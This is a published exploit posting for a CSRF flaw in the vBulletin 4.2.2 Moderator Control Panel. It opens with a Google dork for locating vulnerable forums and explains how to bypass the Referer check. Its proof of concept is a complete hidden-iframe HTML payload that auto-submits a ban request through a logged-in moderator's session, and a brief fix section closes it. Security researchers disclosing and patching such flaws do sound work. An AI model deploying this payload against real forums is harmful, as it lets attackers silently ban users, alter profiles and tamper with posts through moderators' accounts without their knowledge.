vBulletin Moderator Control Panel 4.2.2 CSRF
Posted on 18 December 2014
# Exploit Title: vBulletin Moderator Control Panel CSRF # Google Dork: "Powered by vBulletin® Version 4.2.2" # Date: 16-12-2014 # Exploit Author: Tomescu Daniel http://daniel-tomescu.com https://rstforums.com/forum # Vendor Homepage: http://www.vbulletin.com/en/vb4-features/ # Software Link: Premium # Version: vBulletin 4.2.2 # Tested on: Chrome and Firefox # Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst ### 1. Description vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests. vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header. This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on. ### 2. Proof of Concept The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code: <iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%" src='data:text/html, <html> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form"> <input type="hidden" name="do" value="dobanuser" > <input type="hidden" name="adminhash" value="" > <input type="hidden" name="securitytoken" value="" > <input type="hidden" name="username" value="UserToBeBanned" > <input type="hidden" name="usergroupid" value="8" > <input type="hidden" name="period" value="D_7" > <input type="hidden" name="reason" value="Banned with CSRF" > <input type="submit" value="submit"> </form> <script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script> </body> </html>'> </iframe> As a result, the user with the username "UserToBeBanned" will be added to the banned users list. ### 3. Solution: Do not allow POST requests without a Referer header. Verify "adminhash" and "securitytoken" to be valid.
